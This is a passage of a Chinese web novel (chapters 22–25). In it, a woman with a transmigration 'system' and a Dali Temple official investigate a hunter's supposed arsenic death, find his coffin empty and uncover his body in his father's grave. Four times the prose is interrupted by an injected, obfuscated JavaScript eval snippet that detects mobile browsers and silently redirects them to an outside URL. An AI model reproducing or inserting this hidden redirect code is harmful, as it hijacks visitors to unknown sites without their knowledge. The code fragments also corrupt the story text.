;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431203|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑称葛二牛的尸身呈青黑色,尸身长满水泡,口鼻内有鲜血流出。比较像是砒霜中毒的情况,但砒霜中毒后尸斑一般呈现出粉红色或淡红色,且一些感染性疾病或者血液性疾病都会导致尸体变成青黑色,甚至长出水泡,不能仅仅通过外在来断定一定是中毒。 而如果要准确判断死因,需要综合考虑死者的病史、生活环境、近期接触史以及全面的尸检结果。古代条件有限,更多是依靠仵作的经验来判断,因此存在错检漏检,是较为寻常的。 且秀姑这个案子,疑点不仅在于葛二牛死状凄惨。罗月姑曾言葛二牛死前并无异样,是突然之间发病的。也就是说,若是中毒,那下毒之人必然是他极为亲近之人,否则难以有机会下毒。但罗月姑又称,秀姑与葛二牛关系和睦,并无龃龉,且秀姑性格柔顺,又胆小怕事,实在不像是能做出此等狠辣之事的人。 案发之后,秀姑第一时间就被县衙抓了起来,哪里有机会与人串供?但偏偏县衙就在秀姑身上找到了所谓“与人通奸”的罪证,这实在令人难以信服。 “此案我会重新审理。”谢珩沉吟片刻,道,“只是若要开棺见骨,还需征得葛二牛家人的同意,且开棺一事,毕竟事关重大,还需上报给大理寺卿,由他定夺。” 崔令仪点头:“我明白,只是事不宜迟,还望大人能尽快。” 谢珩应下,随后又嘱咐崔令仪:“你身上有伤,且又奔波了一日,还是早些回去休息吧。” 崔令仪却道:“无妨,左右我在家中也无事,不如在这里等大人的消息。” 谢珩拗不过她,只好吩咐下属准备茶点,让崔令仪稍作歇息。 大理寺内,气氛凝重。谢珩深知此案关系重大,不敢有丝毫懈怠。他拟写了一份奏折,将葛二牛一案的疑点以及开棺验尸的请求一并上报给了大理寺卿。 大理寺卿认可此案疑点,同意开棺复验。随后,谢珩与崔令仪亲自前往葛二牛家中。 葛二牛已经下葬,葛母对开棺一事极为抵触。葛母道:“我儿已经入土为安,你们为何要扰他清净?莫非是想看他死后也不得安宁吗?” 崔令仪道:“我开棺验尸,正是为了还他公道。” “若因验尸有误、县衙屈打成招,无端端就给葛二牛增添了两宗冤亲孽债!你想过没有,难道秀姑和杨大鼎不明不白的死去,他们在阴间会让葛二牛安宁吗?” 葛母闻言,身子一晃,险些栽倒。她颤声道:“你……你是说,我儿他,他可能真的不是被毒死的?” 崔令仪道:“如今一切尚未有定论,但此案疑点重重,开棺验尸,或可还他一个真相。” 她又循循善诱:“葛二牛是您膝下独子,秀姑也是您唯一的儿媳。儿子去了,儿媳也被枭首,谁来给您养老送终,谁来陪您摔盆送葬?难道您指望邻居,指望侄儿?那怎么可能?只怕到时候,您会沦落到一个曝尸荒野、无处容身的悲惨田地,那真是您想要的么?” 葛母沉默良久,终是叹了口气,道:“罢了,若你们真能查出真相,我儿泉下有知,想必也能瞑目。你们开棺吧。” 22. 第 22 章 崔令仪道:“如此,多谢葛夫人。” 然开棺见骨委实不是一件容易的事,现在是封建社会,对死者尸身进行复检有着详细的规定。包括要求报检、差官、检验、申牒等完整的环节,也要求检验官和相关人员集体到场,检验过程要记入笔录。 这样一拖,实际又耽搁了两天。 等到另择吉日开棺验尸,四五个青壮年男子共同开棺,空气中隐隐浮动着泥土潮湿的气味,而在棺材打开之后,有一件奇事发生了。 尸体不见了。 尸体下葬至今,也就不过一两个月,自然是不可能这么快就消失的,而棺材没有明确被撬动的痕迹,埋棺材的土本身也是才一两个月的新土,很难察觉有没有被人再翻动过。而葛二牛死于非命,本身就属大凶,所选择的埋骨之地本来就是人迹罕至之所,而他的尸体,竟然就这么堂而皇之的消失了。 谁会闲着没事偷盗一具中毒而死的男子的尸体? 崔令仪百思不得其解。 倘若这是一具年轻女子的尸体,可能会被人偷去配冥婚,可葛二牛非但是个男人,还是个中毒而死的男人,年纪也不轻,不像是被人偷去配阴婚的。 偷盗陪葬品时误将他带出,那更不可能了,葛二牛家境贫寒,没有什么随葬品值得人偷,何况据葛母查验,他也没少什么陪葬品。 听说有偷新死的尸体去器官移植的,可这里是古代,葛二牛又疑似中毒,浑身上下可能只有眼角膜可以用,谁又会去偷他的眼角膜呢。 好像古代有用尸体拿去炼药的,但是那更不该,葛二牛的尸体没有什么特殊之处,下葬的时间又短,即便是什么邪恶的邪教,也没要特意来偷他的尸体。 她只能想到一个原因。 那就是为了掩藏葛二牛的死因。 却还不等崔令仪说什么,就听到在一旁有人高声道:“肯定是葛二牛诈尸了!他此刻说不定已经变成僵尸了,就潜伏在某处……看着我们呢?” 谢珩立即反驳:“鬼神之说荒诞,切莫以此来动摇人心!” 另有人道:“肯定是闹鬼了,除了葛二牛自己,谁还能帮他破土而出?葛二牛,你可有仇报仇,有怨报怨。我们都没得罪你,你可不要到我家来啊。” 崔令仪道:“他没有诈尸。” 人群中有人问:“你怎么知道?” “很简单,棺材没有破损。”崔令仪道。她看过很多电影,棺材是国内外恐怖片都很喜欢的题材,唯一一类能随便进出棺材的是吸血鬼,因为他的棺材没钉死。 “倘若葛二牛诈尸,那么不但棺材上有痕迹,泥土也该有被人冲破的迹象。难道僵尸在复活的时候还会自己整理好自己的棺材和墓地?只有人,只有人为了掩盖真相才会这么做。” “那棺材里为什么会是空的?”有人发问。 崔令仪道:“要么就是有人将他的尸体盗走了。” 她环顾四周,顿了顿:“要么,就是他根本没有被埋在这个墓地里。” “你这话什么意思?”有人问。 崔令仪道:“这案子尚有很多疑点,尚未经过调查,我还不能直接告诉你们原因。” 说着又在心里跟系统讨价还价:“这案子是帮寡妇打官司,一样的,你至少要算我三天寿命,给我三个积分。” 【系统不明白宿主在说什么。】 “我说,我办这个案子,你要给我积分。” 【这个案子并非系统发布,宿主明明可以不接这个案子。】 “不是吧,你叫和离系统,就只打和离官司?这个可是生物学和社会学上的双重和离,标准之高举世罕见,你必须给我积分。” 许久之后。 【经过系统与主空间沟通,同意将此案算作支线任务,格外奖励宿主5日休假和5个积分。】 “这次这么这样大方?”崔令仪狐疑。 【宿主不接受,系统即将收回……】 “我接受,我接受,谁说不接受了。”崔令仪立即打断,“感谢系统大大,感谢主空间,我一定尽快完成任务回去享受我的休假。” 崔令仪心中颇为得意,但面上不显,她安抚众人道:“不过请大家放心,三日之内,无论犯案的是人是鬼,我必教此案水落石出。” 众人闻言,心中稍安。谢珩也道:“与此案无关者可以先行回去,与葛二牛案有关之人请都留下,本官有话要问。” 人群逐渐散去,崔令仪与谢珩对视一眼,皆从对方眼中看到了凝重。 “涉案人数这样多,看来谢大人有的忙了。”崔令仪道。 谢珩道:“我在探案上的天分不如你,只能为你做这些事。针对此案,崔小姐还有什么想在目击者口中知道的,请尽管告诉我。” “先问那几个抬棺的。棺材里没有尸体会很轻,即便如此也需要这样多人来一起抬?再问葛二牛下葬那日,棺材是轻是重。我还要知道墓地是谁选的,葛二牛是谁收敛的,是谁同意他下葬的,这些在县廨之中肯定都能找到记录。” “另外,还需对葛母和秀姑进行再次询问。我要知道葛二牛死前的状态,他有没有患有什么疾病,他与人交往如何,有没有仇家,有没有不良嗜好。”崔令仪补充道。 “是。”谢珩道,“我在刑部这许多年,若连这都问不出,也当不起这‘酷吏’之名了。” 二人相视一笑。 既然商量妥当,便分头行动。崔令仪回到葛二牛家中,对他家里的情况进行了解,对命案现场进行观察。在这期间一直是罗月姑相伴。罗月姑知道尸体不翼而飞,那么能够给她妹妹洗脱嫌疑的关键证据已经没了,一时之间泪眼婆娑,忍不住向崔令仪哭诉她和妹妹的点点滴滴。 另一边,谢珩也亲自对葛二牛一案展开讯问。 适才入夜,谢珩已经将讯问结果陆续汇总到崔令仪手中。葛二牛今年四十有二,家中祖祖辈辈都是猎户,因此身材高大强壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436231|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他自幼就跟随父亲在山上打猎,后来葛父因意外坠崖过世,他便独自在山上打猎为生。却因性格懒惰,导致家境贫寒,村里没有姑娘肯嫁到他家。直到三年前,葛母靠卖绣品、给人做零活等攒了一笔钱,去邻村给他说了二十有五的罗秀姑。 罗秀姑相貌端正,人又爽利,之所以恁大年纪没有出嫁,是因为命格不好。她少年丧父,后来母亲又过世了,罗月姑嫁人后,也曾给她相对,后计划与同村的一个男子定亲。但那男子定亲前夕突然死了,因此她婚事就耽搁下来,直到嫁去葛二牛家。 成婚后,二人确实曾经蜜里调油地好过一阵。但是葛二牛脾气火爆,惯常在外惹是生非,罗秀姑又看不惯他游手好闲,两人时有争吵,后来葛二牛更是凭借自己蛮力殴打罗秀姑,罗秀姑一时有意寻死,是在葛母的劝和下,二人才勉强继续过日子。事发前几日,葛二牛独自上山打猎,却不知撞见了什么,回家好像见了鬼似的,日日惶惶不安,脾气更是十分暴躁,并当着全村人的面和村头的王二麻子等人发生过争执,而王二麻子的外甥,正是被指认与秀姑有奸情的杨大鼎。 事发当日,葛二牛独自上山。等他再下山时,脸色异常蜡黄,连声喊肚子疼,还有严重的恶心呕吐,连胆汁都吐出来了,葛母立即叫秀姑出门去找郎中,可郎中那日恰好不在。而后不久,葛二牛开始发热,躺在床上痛都叫不出来了,郎中还没到,葛二牛就去了。 光听他死亡的细节,确实与砒霜中毒的症状较为接近。 “审王二麻子了吗?”崔令仪问。 “没有。”谢珩道,“王二麻子在那日跟葛二牛发生争吵之后就失踪了,没人知道他的下落。” “那么王二麻子和葛二牛是为了什么事情争吵?” “不知道,他们吵得太凶,没人敢上前拉架,只是有人隐隐听到他们说什么‘上山’‘猎户’‘敢做不敢当’之类的话,不能推断其原因。” 崔令仪颔首。 葛二牛死后,葛母怀疑是秀姑对葛二牛怀恨在心,故意延误治疗的时机,兼之葛二牛死状有异,便将儿媳秀姑告上衙门。后经仵作验尸,通过观察其尸身呈青黑色,尸身长满水泡,口鼻内有鲜血,初步判断其为砒霜中毒,但并未对其口腔、喉头和尸斑进行观察,所以如果断定葛二牛是中毒而死,其实证据链并不完整。 葛二牛在县廨停灵七日后匆匆下葬。当时是经县令判断可以下葬,而后由县尉检验尸身无误,在争得葛母同意的情况下,在吉时吉日将葛二牛下葬在葛家祖坟。由于葛二牛是枉死,只能将他葬在远离祖坟的角落。当日为葛二牛抬棺的也是一些衙役,据衙役供述葛二牛棺材极重,感觉至少有三百多斤,但考虑到葛二牛体格高大身材健壮,并没有多想。 今日在郊外将葛二牛抬出时,确实有人觉得棺材格外轻,但抬棺的衙役和送葛二牛下葬的衙役不是同一拨人,因此衙役们以为是尸体腐化后变轻,并没有多想。 这就奇了。 23. 第 23 章 想查验尸体,尸体消失了。下葬程序基本符合流程,挑不出县廨的问题,每个人都可以彼此作证。葛二牛死前曾跟人发生争执,跟他发生争执的人也消失了。 这事儿要是发生在上京城,必定是背后有个能量奇大的人在为凶手平息事端。可这里是离京城二十里地的一个小村子。 县里官最大的人是县令,从七品而已。 而且这个从七品的县令跟葛二牛、秀姑、杨大鼎都没有私交,非说的话他甚至跟杨大鼎关系还略好,因为杨大鼎是村里唯一的举人老爷,大家都是文人,有时候也能讲上两句话。 棺材也没有问题,棺材是葛母原本为自己身后事准备的,是最普通的棺材,虽然置有夹层,但目的仅仅是为了让棺材更加结实,防止外界湿气、空气等对尸体和陪葬品的侵蚀,棺材匠没有夹带私货。从葛家把棺材抬到县廨中来,经手的人个个都是公差,想要在众目睽睽之下把一具已经轻微腐败的尸体带走,难度极高。 崔令仪询问了当日看到葛二牛和王二麻子吵架的围观群众,大家对此都表示习以为常。 葛二牛脾气暴躁,经常与人发生争执。今天喝大酒,明天上赌坊,后天打老婆,坏事做尽,要说他哪天和和气气地跟人讲话那才奇怪,而他跟人吵架,稀松平常了,甚至那天他脾气还算温和呢。 王二麻子更是如此,他今年四十有七,无业,无妻无子,仅有一个姐姐,三十年前嫁到杨家,生了杨大鼎,此后联系也不多。他少年时曾经和葛二牛的父亲关系不错,葛父经常带他上山打猎,可当葛父意外坠崖后,王二麻子也再不肯上山了。可以说现在王二麻子如果不靠小偷小摸,恐怕早就饿死了。因为偷东西挨几顿打、遭几回骂,王二麻子自己都不以为意。 要不是葛二牛之死,这次的口角早已被大家当作平平常常的一件事,人人都淡忘了。 那么一时半会儿找不到葛二牛的尸体,也找不到王二麻子,只能对嫌疑人——秀姑和杨大鼎再次审查。 罗秀姑今年二十八岁,跟她姐姐罗月姑不同,秀姑身材高挑,满月脸,杏核眼,虽不是白芷柔、沈玉棠那种令人心折的美人,却也端庄文秀,即便此刻身穿囚服,又受遍诸般大刑,甫一见她亦是觉得脱俗。 谢珩讯问,崔令仪就坐在堂下听。如今罗秀姑听见葛二牛的名字就已经情不自禁浑身颤栗,无法说话了,谢珩很难再从她嘴里问出什么,他看向崔令仪,崔令仪却道:“先让她下去梳洗一下吧。” 谢珩问:“为何?” 崔令仪道:“牢里有虱子,我看她把全身上下抓的已经没有一块好皮了。让她休整一下,说不定能说出来更多东西。”她又看向罗秀姑,道:“梳洗干净再来回话吧。你别怕,谢大人是好官,他不会打你。我们就是问你两件事,你如实好好说了,说不定,还能让你回家。” 罗秀姑深深看她,磕头拜谢:“多谢崔小姐。” 罗秀姑走后,崔令仪嘱咐道:“让两个脾性温和点的女官去照顾她,免得她寻死。” 刑官曹勇问道:“崔小姐怎么知道她会寻死?” “是我我就寻死。”崔令仪不想解释,又道,“带杨大鼎吧,让我看看他的状态。” 在这里,寻死是件很平常的事情。因为生不如死。 杨大鼎二十九岁,光看外貌,他与罗秀姑十分登对,又是举人,比葛二牛好上不是一星半点。所以若说他与罗秀姑出轨,乃至于合谋毒死绊脚石葛二牛,也不是完全说不过去。 杨大鼎状态比罗秀姑还是要略好一些。 因为罗秀姑是一个自幼受苦的人,而杨大鼎是被一家人爱若珍宝呵护长大的。女性的忍痛能力实际强过男性,又简直狱卒对女性的摧残,所以实际上她遭受的苦难也多过杨大鼎。 谢珩问他:“杨大鼎,本官问你,邻人举报你与罗秀姑有染,是否属实?” 杨大鼎道:“不是已经问过很多次了么,属实。” 崔令仪道:“杨大鼎,既然属实,那我问你,你第一次与秀姑相见是在何年何月何日,你是如何与她有染,是秀姑邀约于你,还是你邀约于她?为何要杀死葛二牛,毒死葛二牛的毒药用的是什么,毒药是你买的还是秀姑买的,是下在他饭菜之中还是水里,是你下的还是秀姑下的,若不能一一招来,且与供词相合,你可知道故意隐瞒事实、编造谎言、干扰司法审判,这是什么罪过?” “小人有罪!”杨大鼎跪下连连磕头,半晌额头都磕破了,这才说,“小人确实说不出这许多细节,因为小人与秀姑,确实是清白的啊。” “小人第一次见到秀姑已是在葛二牛的婚宴之上,作为同村前去吃席而已。而后跟她并无往来,只是见她生活困顿,偶有时候会对她加以照拂,那也不过是秀姑出街卖豆腐时多买一点,并不会与她多说一句话。小人与秀姑确无私情,跟葛二牛之死,更是没有关系啊!” “虽说小人没有做过,拿不出做过的凭据,可要说小人做过,在小人家中也确实搜不出做过的凭据啊。” 崔令仪忽地问:“杨大鼎,你与你舅父王二麻子关系如何?” 杨大鼎道:“大人为何这么问,舅父么,我自小与他便不是非常熟悉。” 崔令仪问:“这么说,你并不知道王二麻子与葛二牛曾发生口角一事?” 杨大鼎的回答果然与其他人一致:“舅父脾气不好,与人发生口角是寻常事,小人虽不了解,但也猜得到二分。无非是偷了他家的米面……” 他忽低话音一转:“大人的意思是,舅父害死了葛二牛?” 不等崔令仪回答,他又道:“应当不会,舅父极少跟人动手,一般挨骂也就是忍着听着,更不至于下毒将对方害死。何况我知道葛二牛所中之毒是砒霜,舅父应当是买不起的。” 崔令仪闻言还有些意外:“王二麻子竟然连砒霜都买不起?” “回大人,”杨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442542|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼎道,“有是有,但他舍不得。” “砒霜虽售价不高,但确实难以轻易买到。舅父其实一直在攒钱,但他省吃俭用,只是为了给自己买一副薄棺。” “棺材?”崔令仪颇为意外。 “是。”杨大鼎道,“那是前两年了,舅父突然来到我家向我母亲借钱,理由是觉得自己年纪大了,身体也不好,想给自己买副棺材,留作百年以后敛骨。” 崔令仪问:“可王二麻子还正值壮年。” “正是,”杨大鼎道:“所以我母亲不曾借给他。” “只是听说他自那以后更加吝啬,小偷小摸不断,后来果然去棺材铺定下一口薄棺,只是他名声不好,棺材铺要求他付六成的定金,他依言照付,后来的事我就不知道了。” “他在哪家店定的棺材?”崔令仪问。 “陈记香烛。” 崔令仪侧过脸,朝谢珩微微点了点头。 谢珩朝后无声地挥了一下手。 崔令仪又道:“说说案发前,你都做了什么。” 杨大鼎道:“小人不敢欺瞒,那日一早,小人确实碰见秀姑在街上卖豆腐,见她面颊上还有被殴打的痕迹,着实可怜,就多买了两块。” “而后,小人就回房温书,准备明年的会试。因为要备考,小人在后山搭了一处茅屋,便回了后山,在再下山,就是县尉大人,派人来抓我了。” 杨大鼎所言与原供词基本对得上,崔令仪认为基本是属实的,他买豆腐给了秀姑二十文钱,这钱作为证物确实也出现了,他的证据链基本完整,而且还缺乏他和秀姑有私情的证据,如此他竟然还被屈打成招,可见其刑讯残暴。 杨大鼎没什么可询问的了,崔令仪起身到庑房去,打算见见罗秀姑。 罗秀姑已经沐浴完毕,眉眼一片红,坐在软榻之上满面凄楚,女官陪着她正在喝粥,说着说着,她眼中无声地落下一滴泪。 她见到崔令仪,立即跪在她面前,道:“多谢崔小姐,如此,民女死也无憾了。” 她说话遣词造句时十分文雅,崔令仪有些意外:“你读过书吗?” 罗秀姑道:“读过一点,我父亲是落第的秀才,自小就曾教导我们姐妹。” 崔令仪又问:“现如今,你的案子已经上报到了大理寺。大理寺的大人们看完案卷,决定重新审理。但能否翻案,全在于你,我问你一些问题,请你认真思考之后再告诉我。” 罗秀姑凄然一笑,道:“民女竟然还能翻案吗?请崔小姐放心,民女一定认真回答。” “你与你丈夫感情如何?” 秀姑道:“民女与他感情不合,四邻尽知,民女也不必为此事撒谎。他常常打我,我……想到他的名字都害怕。他白日在外走鸡斗狗,一到夜幕,无论是喝大了,还是赌输了,都要打我,我现在光是想想夜色降临,都十分害怕。” “那你曾想过‘要是他死了就好了’么?” 24. 第 24 章 “不曾的,我从没想过他死。”秀姑顿了顿,“他死了,对我有什么好处?我跟他还没有孩子,倘若他死了,我的命便更不由我做主,婆母要我生我才能生,婆母要我死我就要死。若是家族耆老要把我卖到其他人家去,我也由得他们卖,我自己一文钱也带不走。” “现在他只是打我,若是把我卖去别人家,不但挨打,还要受旁的作践呢?现在的乡下人家有无数搓磨女人的新的法子,多少女人无声无息的死了,难道多我一个?他若活着,偶尔还会和颜悦色的对我,多少还有条活路可走。” 所谓“三从四德”,未嫁从父,出嫁从夫,夫死从子。 一个女人从她生下来,就没有一刻属于她自己。女人身上的枷锁之沉重,处境之艰辛,以至于她不希望家暴自己的丈夫死去,希望他长长久久的活着,这样自己才不至于沦入更加凄惨的境地。 崔令仪想说什么,许久她也说不出,只得问:“说说案发时你在做什么。” “案发时,我清早给他煮了杂粮粥,随后上街去卖了豆腐。”秀姑回忆道,“他那几天心情不好,我想快点赚些钱,给他打壶烈酒。等他喝多了,睡着了,我就能安生一日了。” “后来豆腐卖光了,我给他打了酒,等他回来。谁知他回来以后走路已经跌跌撞撞地,十分痛苦,一直在吐绿色的胆汁,脸色黄的吓人,连眼珠都是黄的。看他难受,婆母要我去找郎中,我就去了……” “你说他眼珠都是黄的?”崔令仪问。 秀姑很肯定:“是,眼珠都是黄色的。我从没见过眼珠都是黄色的人,很恐怖,起初见他,被他吓了一跳。” 有什么毒药会导致人眼珠变黄?似乎比之毒药,更像是疾病。 崔令仪又问:“那他为什么心情不好?” “好像和公爹有关。”秀姑回忆道,“我有一次听见他跪在公爹的灵前痛哭,说什么‘孩儿不孝’‘孩儿过了这么多年才弄清……’‘孩儿一定会给您报仇’之类的。” 崔令仪脑中忽地有一条线,把一切都串了起来。 王二麻子年轻时和葛父关系很好,经常一起上山,后来葛父坠崖死了,他也不去了。 葛二牛和王二麻子素无交集,忽地有一天下山回来,和王二麻子发生了口角。 葛二牛心情一直不好,因为没有及时发现葛父的死因,没有给葛父报仇。 后来王二麻子失踪了。 一切仿佛都指向,王二麻子是害死葛父的凶手,而葛二牛为了替父报仇,又杀死了王二麻子。 既然暂时找不到葛二牛的尸体,能不能在山上找到王二麻子的尸体?崔令仪立刻把这个线索告知谢珩,而谢珩又马上为她带来了新的线索。 “王二麻子前几天来领走了棺材?” 谢珩道:“对。” “确定是本人吗?”崔令仪有些不确定。 “确实是本人,还带了棺材的尾款。”谢珩道,“他急匆匆带走了棺材,没人知道他带着棺材去了哪里。” 那就是她想错了,葛二牛没有杀死王二麻子,而是王二麻子杀死了葛二牛。 杀死葛二牛之后,王二麻子担心被追责,藏到了山里。 可是他要棺材干什么呢?他为什么要把葛二牛的尸身偷走? 一定是为了掩盖真相而将其盗走的,否则偷他干什么?葛二牛的尸身到底有什么秘密? 崔令仪又想到,秀姑提到葛二牛回来的时候连眼珠都是黄色的。什么病会导致人的眼珠都变成黄色?葛二牛是成年了,又不会患上黄疸。 除非是…… 但现在找不到葛二牛的尸体,还无法推断。一定要找到葛二牛的尸体。王二麻子去领取棺材,很有可能就是为了去藏匿葛二牛的尸体,要么就是放在各地的义庄,要么就是和他一起,还在山上。 “带我去看看葛二牛的棺材。”崔令仪道。 谢珩领着她过去。 天色渐渐黑了,晚风吹散暑热,谢珩引着她慢慢的走,夕阳在她眼前一点一点滑下山坡,草木散发出一股烧焦未焦的味道,隐隐伴着一点花香。微弱的日光最终没下了人的影子,而后明月高悬,崔令仪站在他身侧,脸上带着一点疲惫。 “你伤还没好,就这么奔波,我看你是不想好了。”谢珩道,“你难道不怕留下毛病,别人找你,你就为了人家拼命,我看你倒比我更适合做这个大理寺少卿。” “倘若在我们这个朝代,我可以做官,我难道就真不能来大理寺,而如今只能当一个打杂的女官。”崔令仪道,“那样怎么会有我在这里帮助的人很多,更能和人面对面。” 谢珩闻言,不禁笑了:“你想的倒美,若真让你做官,天下百姓恐要遭殃。” “为何?”崔令仪不解。 “因为你不但会感情用事,还会滥用职权。”谢珩道,“为了帮人翻案,连自己性命都不顾,若真让你握有生杀大权,你必定会不眠不休,落得个少年早殇的悲剧。如此天下百姓,永不得见天日。” “这难道不是大人现在过的日子么?”崔令仪反问。 谢珩停下脚步,转过身看向她:“本官断案,自诩公正无私。可我认识你以后才发现,我所能做的远远不够。” “大人,你有你要做的事情,我也有我的。我的职责是还我的当事人真相,而大人你,是要执法公正,维护司法的权威。” “我要做的难,难道大人要做的便不难?山河广袤,有这样遭遇的难道只有阿阮,只有沈玉棠,只有罗秀姑这么几个人?可我只有一个人,我能帮到的人很有限,而加上大人,我们能做的就很多。” 她仰头看他,眼中仿佛盛满星星:“大人,我们能同路的时间很短暂,我想在这段时间里,我们可以走的顺遂一点。” 谢珩凝望她,许久道:“好,一言为定。” 崔令仪渐渐走在了他的面前。 葛二牛的棺材停在公廨的仵作房中,天已经晚了,仵作房落了锁,崔令仪不愿让他再来,于是决定翻窗进去。 谢珩翻进去很容易,他个子高腿长,且还有一些功夫傍身,可崔令仪就不一样了。她虽然说不上矮,但是那窗沿也到了她的胸前。她不好意思向谢珩求助,于是自己搬来两块石头垫在脚下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448261|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笨拙地翻窗进去。 谢珩点燃了灯,回身看见她上身贴地,慢吞吞地从窗框上侧过来,顿时笑出声。 崔令仪怒视他,她深吸一口气,故作无事发生,随后道:“怎么样了,有没有发现什么问题?” 谢珩道:“我觉得这个棺材有点不对劲。” “怎么不对劲?”崔令仪忙问。 谢珩沉吟许久,随后他道:“它很干净。” “干净有错吗?”崔令仪问。 “葛二牛死了一段时间了。”谢珩道,“从那至今,一两个月肯定有了,尸体会发生一定程度的腐化。会散发浓重的尸臭,甚至会流出很多尸液,不是我们未经防护,随便就可以这么趴在这里闻的。” 崔令仪道:“能这么干净,就只有一个原因了。” 两人对视一眼,异口同声道:“这个棺材并没有住过尸体。” 谢珩又道:“你看这钉子钉的也很杂乱,这不是我们衙役做的活,再说了,就这样的钉子,死者家属见了也不能同意。” “随葬品摆放的也很混乱,这明显不是颠簸造成的,而是,人为再行摆放的。” 崔令仪道:“所以,这是一具全新的棺材。” “那么原来的棺材去哪儿了?” “为什么要抬来一出全新的棺材?” “在衙役的供词中说,抬棺是感觉棺材特别沉,王二麻子会不会当时正藏在棺材里边?” “他要出来,所以他出手破坏了棺材,并且逃了出来,可他为什么要偷葛二牛的尸体?现在天气炎热,尸体已经发生了高度腐败,他还偷葛二牛的尸体,这是为什么?” “他为什么,早在此事之前就要定一副棺材?” 谢珩问:“难道是他蓄意杀死葛二牛?” 崔令仪道:“我还不知道。” “但是王二麻子只有一个人,他应该不能把葛二牛的身体连同棺材带的太远。我想,想要找到他们,还是要回到山上。” 崔令仪看向谢珩,他缓缓点了点头。 翌日一早,崔令仪和谢珩又带着衙役上山去。那日时间仓促,她没来得及观察当时的地形。葛二牛埋骨之地,原是葛家的祖坟,坟茔众多,虽然葛二牛所处的位置较为偏远,但是确实也找不出更多可疑之处。崔令仪在坟茔之中闲逛,她忽地看到一个坟墓,是葛二牛的父亲,葛大海之墓。 葛大海死了有三十年,他的坟墓之上新生的春草却枯死了。 如此来看,他坟头的土壤应当在近期被人翻动过,而且周围散落着一些零碎的物件。她蹲下身,仔细辨认这些物件,发现竟然是一些残破的衣物碎片和一枚已经生锈的发簪。 “谢珩,你看这些是什么?”崔令仪招呼谢珩过来。 谢珩走过来,看了看地上的物件,皱眉道:“这些衣物碎片看起来有些年头了,发簪也很旧。” 崔令仪道:“葛大海已经去世三十年,他的坟墓怎么会被人翻动?难道说……” “有人挖开了葛大海的坟墓?” 崔令仪点点头,道:“很有可能,要不然,挖开看看?” 25. 第 25 章 “好。” 谢珩立刻指挥衙役掘开葛大海的坟墓。 土才将将刨开,一股强烈的尸臭就扑面而来。谢珩以前闻过,接受良好,而崔令仪当场就要吐出来。人本能就讨厌尸臭,害怕尸臭,以至于那股腐败的味道一时之间萦绕灵魂,无法呼吸,谢珩凑在她身边,低声道:“你去旁边休息一会儿吧,这儿有我。” 崔令仪应了一声。 谢珩带人继续挖掘,瞧见眼前是一具破烂不堪的棺椁。棺材四周被刀剑剜的不甚整齐,似乎是有人强行破土而出。而后衙役将已经重度腐败的葛二牛的尸体挑开,底下赫然又是另一具白骨。 这不对,葛大海已经因坠崖而死三十年,这里明明是他的衣冠冢,哪里来的尸骨? 这会是谁的尸骨? 谢珩调来仵作,经仵作查验后,首先确认了葛二牛并非中毒身亡,其后,仵作确实认为这是一具因坠崖而死的尸骨,因经年风蚀雨淋已经呈棕黑色,四肢长骨、脊椎骨多出骨折,上肢和下肢分布不连贯,个别肢体上有动物啃咬的痕迹,个别肢体已经残缺不全。 也就是说,这具白骨有很大可能会是葛大海本人。 为什么葛大海父子会被人埋在一起,他到底想做什么,他现在又藏在哪里? 谢珩将棺材内的发现告知崔令仪,她喃喃自语:“难道说,葛大海也是被王二麻子害死的?” 旋即她又摇了摇头,“杀死父亲,又杀人儿子,还想将父子两个的尸体放在一起,目的是什么?” 谢珩沉声道:“这件事绝没有那么简单,现如今,找到王二麻子,才能解开这一切的关键。” 崔令仪沉吟片刻,道:“王二麻子既然已经失踪了这么久,我们想要找到他,恐怕并不容易。不过,我敢确信他一定还在山上。不过我们不能把宝押在一个人身上,王二麻子的事情或许还有旁人知道。” 两人商议已定,立刻分头行动。崔令仪带人去走访王二麻子的亲朋好友,而谢珩则在山上搜寻着可能遗漏的线索。 